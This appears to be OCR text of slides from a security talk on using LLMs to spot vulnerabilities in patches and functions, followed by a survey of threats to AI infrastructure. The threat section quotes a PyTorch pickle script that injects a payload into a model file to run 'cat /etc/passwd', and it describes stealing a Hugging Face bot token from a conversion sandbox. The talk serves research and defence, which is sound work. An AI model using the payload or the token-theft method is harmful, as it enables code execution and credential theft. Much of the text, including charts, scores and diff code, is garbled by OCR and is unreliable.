et |V Yo Tolo 1o (< 0o 1 3!+ 707/ - ettt Sttt -
e e B YiEGOBSEHABTOB st 4

60 dolphin-2.6-mixtral-8x7b bt ®

Deepse.e'.k___ _—I:@d_e._rZIxBZLHSﬂ’EI_.CI:::::::::::::::::::::::::::::::::::::::‘::::::::::::::::::::::::::::::.:::ﬁzza:';éa:o:&ér;_:‘:gé;%:‘éz::::::::::::::::::::::::::::::::::::::::::::::::::: gg%
® 8

%G

40 SOLAR-10.7B-Instruct-v1.0

®

30

20

10
0[ T T T T T T T T T T 1 Size
1B 2B 3B 68 7B 118 138 158 168 33B 348 708B
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Code Analysis Models

Base Tests

4 EvalPlus Tests 4 MBPP
# Model pass(@l # Model pass(@l
1 W GPT-4-Turbo _(Nov 2023) 4 70.7 1 W claude-3-opus (Mar 2024) 86.5
2 % GPT-3.5-Turbo (Nov 2023) 4 69.7 2 % GPT-4-Turbo (Nov 2023) 83.5
3 ® claude-3-opus (Mar 2024) 4 69.2 3 ® GPT-3.5-Turbo_ (Nov_2023) 82.5
4 OpenCodeInterpreter-DS-33B.4 €@ 4 67.7 4 claude-3-sonnet (Mar 2024) 82.0
5 WizardCoder-33B-V1.1 4 66.9 5 OpenCodeInterpreter-DS-33B 79.2
6 DeepSeek-Coder-33B-instruct 4 66.7 6 WizardCoder-33B-V1.1 78.9
7 claude-3-sonnet (Mar 2024) 4 66.4 7 DeepSeek-Coder-33B-instruct 78.7
8 Magicoder-S-DS-6.7B 4+ €@ 4 64.4 8 WhiteRabbitNeo-33B-vl 76.9
9 speechless-coder-ds-6.7B 4 @@ 4 64.4 9 XwinCoder-34B 76.2
10 | DeepSeek-Coder-6.7B-instruct 4 63.4 10 | speechless-coder-ds-6.7B 4+ €@ 75.9
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Code Analysis Dataset

= Ground Truth: Patches for existing vulnerabilities

= CVE is actually useful here in creating an specific ID for a vulnerability
= |f a patch addresses a CVE, it is a security patch, if it is not labeled as a CVE it MAY not be

= Labeled Data: Ubuntu and Debian apt repositories
= The apt-src repositories contain source code for every package
= The source packages contain original source and distribution specific patch sets
= Patches that fix a CVE are labeled via their filename

= Question: can LLMs process diffs directly or should we extract the full
functions impacted by the diff?
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Prompting for patch
analysis

USER

Index: zziplib-0.13.62/zzip/fseeko.c

--- zziplib-0.13.62.0rig/zzip/fseeko.c
+++ zziplib-0.13.62/zzip/fseeko.c
@@ -311,7 +311,8 @@ zzip_entry findfirst(FILE * disk)
} else
continue;

assert(9 <= root && root < mapsize);
it (reots < @1 Eoot S mapcazo)
goto error;
if (fseeko(disk, root, SEEK SET) == -1)
goto error;

System Prompt

Review the unified diff with a focus on identifying key indicators of a
security fix. Look for changes in data validation and sanitization,
modifications in memory management practices, and adjustments in
authentication or authorization logic. Note alterations in default
settings, permissions, error handling, and reporting that might enhance
security. Pay attention to the context provided by comments and commit
messages, assessing how these changes impact existing security features
or introduce new ones. Your goal is to determine if the patch addresses

vulnerabilities by improving the application's resilience against
potential security threats.

Is the following patch for a security bug? Please answer only YES or NO.

if (fread(disk_(entry), 1, sizeof(*disk_(entry)), disk)
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Prompting for
function analysis

System Prompt

Review the following function with a focus on identifying key indicators
of a security flaw. Look for behavior related to data validation and

sanitization, memory management, and any authentication or authorization
logic. Note default settings, permissions, error handling, and reporting

that might impact security. Your goal is to determine if the function
contains vulnerabilities.

Is the following function vulnerable? Please answer only YES or NO.
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2024-03-22 :29:11,533 [INFO] GPT-4 Eval: YES

2024-03-22 12:29:11,567 [INFO] Retrying request to /completions in ©.958773 seconds

2024-03-22 12:29:12,530 [INFO] Retrying request to /completions in 1.775393 seconds

2024-03-22 12:29:14,361 [INFO] bionic-src-repos/abcm2ps/abcm2ps-7.8.9/debian/patches/CVE-2018-10753—pre.patch CVE:
2024-03-22 12:29:18,731 [INFO] HTTP Request: POST https://api.anthropic.com/vl/messages "HTTP/1.1 200 OK"
2024-03-22 :29:18,732 [INFO] CVE-2018-10771.patch

2024-03-22 12:29:18,733 [INFO] Claude Opus Eval: YES

2024-03-22 12:29:19,243 [INFO] HTTP Request: POST https://api.openai.com/vl/chat/completions "HTTP/1.1 200 OK"
2024-03-22 :29:19,2u5 [INFO] CVE-2018-10771.patch

2024-03-22 12:29:19,2u45 [INFO] GPT-3.5 Eval: YES

2024-03-22 12:29:19,718 [INFO] HTTP Request: POST https://api.openai.com/vl/chat/completions "HTTP/1.1 200 OK"
ChatCompletionMessage(content="YES', role='assistant', function_call=None, tool_calls=None)

2024-03-22 12:29:19,720 [INFO] CVE-2018-10771.patch

2024-03-22 :29:19,720 [INFO] GPT-4 Eval: YES

2024-03-22 :29:19,7u8 [INFO] Retrying request to /completions in 0.854501 seconds

2024-03-22 12:29:20,606 [INFO] Retrying request to /completions in 1.712998 seconds

2024-03-22 12:29:22,338 [INFO] bionic-src-repos/abcm2ps/abcm2ps-7.8.9/debian/patches/CVE-2021-32434_CVE-2021-32U36.patch CVE: True
2024-03-22 12:29:25,986 [INFO] HTTP Request: POST https://api.anthropic.com/vl/messages "HTTP/1.1 200 OK"
2024-03-22 :29:25,987 [INFO] CVE-2018-10771.patch

2024-03-22 12:29:25,988 [INFO] Claude Opus Eval: YES

2024-03-22 12:29:26,549 [INFO] HTTP Request: POST https://api.openai.com/v1l/chat/completions "HTTP/1.1 200 OK"
2024-03-22 :29:26,550 [INFO] CVE-2018-10771.patch

2024-03-22 :29:26,551 [INFO] GPT-3.5 Eval: YES

2024-03-22 12:29:26,981 [INFO] HTTP Request: POST https://api.openai.com/vl/chat/completions "HTTP/1.1 200 OK"
ChatCompletionMessage(content="YES', role='assistant', function_call=None, tool_calls=None)

2024-03-22 12:29:26,983 [INFO] CVE-2018-10771.patch

2024-03-22 :29:26,983 [INFO] GPT-4 Eval: YES

2024-03-22 12:29:27,011 [INFO] Retrying request to /completions in ©.827117 seconds

2024-03-22 12:29:27,8uU2 [INFO] Retrying request to /completions in 1.83243U seconds

2024-03-22 :29:29,705 [INFO] bionic-src-repos/advancecomp/advancecomp-2.1/debian/patches/CVE-2019-8383.patch CVE: True
2024-03-22 12:29:33,820 [INFO] HTTP Request: POST https://api.anthropic.com/vl/messages "HTTP/1.1 200 OK"
2024-03-22 :29:33,822 [INFO] CVE-2018-10771.patch

2024-03-22 :29:33,822 [INFO] Claude Opus Eval: YES

2024-03-22 12:29:35,751 [INFO] HTTP Request: POST https://api.openai.com/vl/chat/completions "HTTP/1.1 200 OK"
2024-03-22 :29:35,753 [INFO] CVE-2018-10771.patch

2024-03-22 :29:35,753 [INFO] GPT-3.5 Eval: YES

202U-03-22 12:29:36,256 [INFO] HTTP Request: POST https://api.openai.com/vl/chat/completions "HTTP/1.1 200 OK"
ChatCompletionMessage(content="YES', role='assistant', function_call=None, tool_calls=None)

2024-03-22 12:29:36,258 [INFO] CVE-2018-10771.patch

2024-03-22 12:29:36,258 [INFO] GPT-4 Eval: YES

2024-03-22 12:29:36,285 [INFO] Retrying request to /completions in ©.925314 seconds

2024-03-22 :29:37,214 [INFO] Retrying request to /completions in 1.5561ul seconds

2024-03-22 12:29:38,831 [INFO] bionic-src-repos/advancecomp/advancecomp-2.1/debian/patches/CVE-2022-35014-35015-35016-35017-35018-35019-35020-3.patch CVE: True
2024-03-22 12:29:42,921 [INFO] HTTP Request: POST https://api.anthropic.com/vl/messages "HTTP/1.1 200 OK"
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LLM Bug Identification from Patch Success Rate

Phi 3 mini fpl6

Phi 3 min-128k g8
Starcoder2 15B fpl6
Starcoder2 15B g8
CodeQwen 1.7 7BQ8

Mistral ﬂiﬁ&iﬁé
Mistral Medium
Mistral Large

Google Gemini vl
Claude Haiku

Claude Sonnet
Claude Opus

CodelLlama 709B
Dolphin Mixtral

Miqu 708
Quen 728

Tess 70B
Mistral 2298
Mistral 22g8 big

3
3
3
3
3
3
3
3

GPT-3.5-turbo
GPT-4-turbo
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Better Bug Identification Prompts

"bug_classes": {
"buffer_overflow": {

"description”: "Buffer overflows occur when data exceeds the buffer's storage capacity, overwriting adjacent memory.",
"steps": [
"Identify Buffers: Search for buffer declarations, especially fixed-size buffers (e.g., char buffer[10];).",

"Analyze Data Input Functions: Examine functions like strcpy, sprintf, gets, and strncpy.
source) does not check the size of the destination buffer.",

"Check Boundaries: Look for missing boundary checks. Ensure loops writing to buffers do not exceed buffer sizes (e.g., for (1
= @; i < length; i++) { buffer[i] = data[i]; }).",

For example, strcpy(destination,

"Review Dangerous Functions: Closely examine functions like memcpy, memmove, and strnc for potential overflows.",

]
ts

"integer_overflow": {

"description”: "Integer overflows occur when an arithmetic operation results in a value exceeding the maximum limit of the
integer type, causing wraparound and unexpected behavior.",
"steps": [

"Identify Critical Arithmetic Operations: Search for arithmetic involving user input or critical calculations (e.g., size_t
len = input_length * sizeof(struct);).",
"Check Limits:

Look for checks ensuring calculations are within valid ranges. For example, use safe math functions or check
(input_length * sizeof(struct)) < MAX_SIZE.",

"Review Conditional Statements: Verify conditions involving integers handle edge cases correctly.”,

"Inspect Memory Allocations: Check memory allocations dependent on arithmetic operations (e.g., malloc(num_elements *
element_size)).",
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Use LLMs to Analyze Output of Static Analysis Tools

REM buffer overflows

REM call to unbounded copy functions (CWE-120, CWE-242, CWE-676)

weggli. "func=~gets$” "{$func();}" .
weggli. "func=st(r|p)(cpy|cat)$" "{$func();}" .
weggli. "func=wc(s|p)(cpy|cat)$" "{$func();}" .

weggli. "func=sprintf$" "{$func();}" .
weggli. "func=scanf$" "{$func();}" .

REM incorrect use of strncat (CWE-193, CWE-787)

weggli. "{strncat(_, ,sizeof( ));}" .

weggli. "{strncat(_, ,strlen( ));}" .

weggli. "{strncat($dst,$src,sizeof($dst)-strlen($dst));}" .
weggli. "{_ $buf[$len]; strncat($buf, ,$len);}" .
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Threat Landscape
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Threat Landscape

= Quantized model formats like GGUF have not been adequately sanitized

FEBRUARY 26, 2024

CVE-2024-23496

A heap-based buffer overflow vulnerability exists in the GGUF library gguf_fread_str functionality of
llama.cpp Commit 18c2e17. A specially crafted .gguf file can lead to code execution. An attacker
can provide a malicious file to trigger this vulnerability.
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Threat Landscape

- Self'hOSted | ggerganov/llama,cpp Public
infrastructure moves
very fast and has no <> Code () Issues 11k {1 Pull requests 174 L)) Discussions

quality controls
m Jump to bottom

Server may have a directory traversal
vulnerability fixed upstream #6162

QYW slaren opened this issue 2 days ago - 3 comments - Fixed by #6169
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Threat Landscape

= Self-hosted
infrastructure moves
very fast and has no
quality controls

hgxsoh commented 2 days ago Collaborator

Yes we will eventually need to update httplib to upsteam. You can open a PR if you
want.

FYI, I actually foreseen this kind of bug. In #5939 | said:

Disable static assets path by default. We already have all the JS/HTML files
embedded in the compiled binary. | feel like leaving static path enabled by
default is maybe a security hazard ==> it's now disabled by default

Turns out, it is.

phymbert commented 2 days ago Collaborator

Unfortunately | am really busy atm, as the issue is only on windows | am ok to wait
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Start Your Fuzzers..

Eclypsium Security Advisory

Llamafile GBNF Grammar Parsing Remote Out of Bounds
Memory Access

Abstract

Multiple vulnerabilities in Mozilla llamafile Completion API allow an unauthenticated
network client to send a request containing a custom grammar which results in an out of
bounds read of the process memory and ultimately a denial of service when the process

crashes.

Timeline
April 17, 2024 - Initial disclosure
May 10, 2024 - Fixed

CVSS v3.1 Score
CVSS Base Score: 7.5
CVSS v3.1 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/AH

Acknowledgements
Reported by Richard Johnson from Eclypsium.
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Start Your Fuzzers..

”amafile V0.8.4 Compare ~

€ jart released this May 10 - 55 commits to main since this release  © 084 -0- 30cdd9oc

This release fixes underflows and overflows.

e A memory bug in the grammar parser has been fixed, that caused commands like
./1lamafile -m foo.gguf -p bar --grammar 'root::="' (which failed to specify a closing
quote) to crash. Anyone using the server as a public facing endpoint (despite our previous
recommendations) is strongly encouraged to upgrade. See 22abags and 3fee4sf . Credit for
discovering (and most importantly, reporting) this issue goes to Eclypsium Security
Researcher Richard Johnson. We incorrectly reported earlier that this fix was incorporated

into the v0.8.2 release. You need to use the v0.8.4 release. This bug fix was upstreamed in
ggerganov/llama.cop#7194

® Our new vectorized expf() implementation now handles underflow by producing subnormals
rather than flushing to zero. bscedfe
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Threat Landscape

= Pytorch Models
checkpoints are python
pickle files

= Safetensors are a
secure format that will
not execute arbitrary
code

= APIs require express
permission to execute
embedded code that
extends pytorch
functionality

Third party PyTorch models may execute arbitrary
code during deserialization #3187/5

QY XM ChickenLover opened this issue on Jan 5, 2020 - 5 comments

Assignees @
Labels ITs[iN 14 Te1113  module: docs ~ module: serialization

ChickenLover commented on Jan 5, 2020 « edited by pytorch-probot  bot | +

2y Documentation

PyTorch serialization mechanisms are built upon the pickle library that is known to
be insecure when dealing with third-party data.
It concerns both the saved model parameters and the entire model saving (which are

considered to be the best practices)
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Threat Landscape

= Pytorch Models
checkpoints are python
pickle files

= Safetensors are a
secure format that will
not execute arbitrary
code

= APIs require express
permission to execute
embedded code that
extends pytorch
functionality

Example script, that infects any existing model:

import torch
import pickle

ON_REDUCE = """

global MAGIC_NUMBER

MAGIC_NUMBER = None

import os;os.system('cat /etc/passwd')

class Payload:
def __ reduce__(self):
return (exec, (ON_REDUCE,))

model = torch.load('inception_v3_google-1a9a5al4.pth')
torch.serialization.MAGIC_NUMBER = Payload()
torch.save(model, ‘'evil.pth')
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Threat Landscape

= Huggingface is
based on git and
has automated
actions, such as
converting unsafe
pickle files to safe
tensors.

= A token leak can
lead to devastating
impact

Convert any model to Safetensors and open a PR

The steps are the following:

o Paste a read-access token from hf.co/settings/tokens. Read access is enough given that we will open a PR against the source repo.
o Inputamodelid from the Hub

o Click "Submit"

o That's it! You'll get feedback if it works or not, and if it worked, you'll get the URL of the opened PR &

& For now only pytorch_model.bin files are supported but we'll extend in the future.

model_id

Presnealy/pytorch-image-classified

Private model

Clear Submit
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Threat Landscape

= Huggingface is
based on git and
has automated
actions, such as
converting unsafe
pickle files to safe
tensors.

= A token leak can
lead to devastating
impact

Since we knew that the bot was creating pull requests from within the same sandbox that the
convert code runs in, we also knew that the credentials for the bot would more than likely be

inside the sandbox, too.

Looking through the code, we saw that they were set as environmental variables and could be

accessed using os.environ.get(“HF_TOKEN”). While we now had access to the token, we still

We had persistence.

™ pwned

Clear Submit

Figure 15 - Testing our initial benign prompt against the compromised Space
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TOORCAMP THINGS

= The CTF is live!l = Check the Toorcamp Wiki
= Beerocracy is live!
= The Robot —is my next onsite project!

= Undercurrents BBS https://undercurrents.io
= Launched at Toorcamp 2018 - live year-round, you might find clues there!

= Phone Numbers (online soon)
= 4CTF (leave a voice mail)
= BEER
= 4FAX
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Questions?

= LLM APIs are easy to use and can be
leveraged for security applications

= The largest models from OpenAl,
Anthropic and others are capable of
performing basic code analysis tasks
and can be improved through fine-
tuning and RAG

= Agent frameworks, function calling, and
constrained output via grammars or
DSLs can expand the core capabilities
of LLMs

= Local LLMs have limited abilities but
can perform if problem spaces are
properly constrained

© 2023 Eclypsium
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Thank You_
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